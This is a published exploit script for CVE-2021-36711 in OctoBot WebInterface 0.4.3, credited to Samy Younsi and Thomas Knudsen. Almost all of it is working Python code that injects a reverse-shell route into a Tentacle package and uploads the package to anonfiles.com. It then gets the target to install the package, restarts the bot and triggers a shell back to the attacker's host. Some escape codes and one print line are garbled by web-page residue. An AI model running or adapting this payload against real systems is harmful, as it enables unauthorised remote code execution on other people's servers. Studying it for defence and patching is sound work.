Authored by Samy Younsi, Thomas Knudsen

OctoBot WebInterface version 0.4.3 suffers from a remote code execution vulnerability.

advisories | CVE-2021-36711

# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
# Date: 9/2/2021
# Exploit Author: Samy Younsi, Thomas Knudsen
# Vendor Homepage: https://www.octobot.online/
# Software Link: https://github.com/Drakkar-Software/OctoBot
# Version: 0.4.0beta3 - 0.4.3
# Tested on: Linux (Ubuntu, CentOs)
# CVE : CVE-2021-36711

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import zipfile
import time
import sys
import os

def banner():
sashimiLogo = """
_________ . .
(.. _ , | /|
O /| / /
______ / | /
vvvv | / |
_ _ _ _ ^^^^ == _/ |
| | __ _ | || |__ (_)_ __ ___ (_)`_ === . |
/ __)/ _` / __| '_ | | '_ ` _ | |/ /_ / |
__ | (_| __ | | | | | | | | | | ||/ _ | /
( /__,_( |_| |_|_|_| |_| |_|_| ________/
|_| |_| 33[1;91mOctoBot Killer33[1;m
Author: 33[1;92mNaqwada33[1;m
RuptureFarm 1029

FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('33[1;94m{}33[1;m'.format(sashimiLogo))


def help():
print('[!] 33[1;93mUsage: 33[1;m')
print('[-] python3 {} --RHOST 33[1;92mTARGET_IP33[1;m --RPORT 33[1;92mTARGET_PORT33[1;m --LHOST 33[1;92mYOUR_IP33[1;m --LPORT 33[1;92mYOUR_PORT33[1;m'.format(sys.argv[0]))
print('[-] 33[1;93mNote*33[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')


def getOctobotVersion(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
return curl(url)


def restartOctobot(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)

try:
requests.get(url, allow_redirects=False, verify=False, timeout=1)
except requests.exceptions.ConnectionError as e:
print('[+] 33[1;92mOctoBot is restarting ... Please wait 30 seconds.33[1;m')
time.sleep(30)


def downloadTentaclePackage(octobotVersion):
print('[+] 33[1;92mStart downloading Tentacle package for OctoBot {}.33[1;m'.format(octobotVersion))
url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
result = requests.get(url, stream=True)
with open('{}.zip'.format(octobotVersion), 'wb') as fd:
for chunk in result.iter_content(chunk_size=128):
fd.write(chunk)
print('[+] 33[1;92mDownload completed!33[1;m')


def unzipTentaclePackage(octobotVersion):
zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
zip.extractall('quests')
os.remove('{}.zip'.format(octobotVersion))
print('[+] 33[1;92mTentacle package has been extracted.33[1;m')


def craftBackdoor(octobotVersion):
print('[+] 33[1;92mCrafting backdoor for Octobot Tentacle Package {}...33[1;m'.format(octobotVersion))
path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
injectInitFile(path)
injectMetadataFile(path)
print('[+] 33[1;92mSashimi malicious Tentacle Package for OctoBot {} created!33[1;m'.format(octobotVersion))


def injectMetadataFile(path):
with open('{}metadata.py'.format(path),'r') as metadataFile:
content = metadataFile.read()
addPayload = content.replace('import json', ''.join('import jsonnimport flasknimport sys, socket, os, pty'))
addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")ndef sashimi():nts = socket.socket()nts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))nt[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]ntpty.spawn("/bin/sh")[email protected]("/announcements")'))
with open('{}metadata.py'.format(path),'w') as newMetadataFile:
newMetadataFile.write(addPayload)


def injectInitFile(path):
with open('{}__init__.py'.format(path),'r') as initFile:
content = initFile.read()
addPayload = content.replace('announcements,', ''.join('announcements,ntsashimi,'))
addPayload = addPayload.replace('"announcements",', ''.join('"announcements",nt"sashimi",'))
with open('{}__init__.py'.format(path),'w') as newInitFile:
newInitFile.write(addPayload)


def rePackTentaclePackage():
print('[+] 33[1;92mRepacking Tentacle package.33[1;m')
with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
len_dir_path = len('quests')
for root, _, files in os.walk('quests'):
for file in files:
file_path = os.path.join(root, file)
zipf.write(file_path, file_path[len_dir_path:])


def uploadMaliciousTentacle():
print('[+] 33[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.33[1;m')

file = {
'file': open('any_platform.zip', 'rb'),
}
response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
zipLink = response.json()['data']['file']['url']['full']
response = requests.get(zipLink, timeout=60)
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
zipLink = soup.find(id='download-url').get('href')
print('[+] 33[1;92mSashimi malicious Tentacle has been successfully uploaded. {}33[1;m'.format(zipLink))
return zipLink

def curl(url):
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
return response


def injectBackdoor(RHOST, RPORT, zipLink):
print('[+] 33[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.33[1;m')
if RPORT == 443:
url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)

headers = {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
}

data = '{"'+zipLink+'":"register_and_install"}'

response = requests.post(url, headers=headers, data=data)
response = response.content.decode('utf-8').replace('"', '').strip()

os.remove('any_platform.zip')

if response != 'Tentacles installed':
print('[!] 33[1;91mError: Something went wrong while trying to install the malicious Tentacle package.33[1;m')
exit()
print('[+] 33[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.33[1;m')


def execReverseShell(RHOST, RPORT, LHOST, LPORT):
print('[+] 33[1;92mExecuting reverse shell on {}:{}.33[1;m'.format(LHOST, LPORT))
if RPORT == 443:
url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
else:
url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
return curl(url)

def isPassword(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}'.format(RHOST, RPORT)
else:
url = 'http://{}:{}'.format(RHOST, RPORT)
return curl(url)

def main():
banner()
args = parser.parse_args()

if isPassword(args.RHOST, args.RPORT).status_code != 200:
print('[!] 33[1;91mError: This Octobot Platform seems to be protected with a password!33[1;m')

octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')

if len(octobotVersion) > 0:
print('[+] 33[1;92mPlatform OctoBot {} detected.33[1;m'.format(octobotVersion))

downloadTentaclePackage(octobotVersion)
unzipTentaclePackage(octobotVersion)
craftBackdoor(octobotVersion)
rePackTentaclePackage()
zipLink = uploadMaliciousTentacle()
injectBackdoor(args.RHOST, args.RPORT, zipLink)
restartOctobot(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)


if __name__ == "__main__":
parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)
parser.add_argument('-h', '--help', help=help())
parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()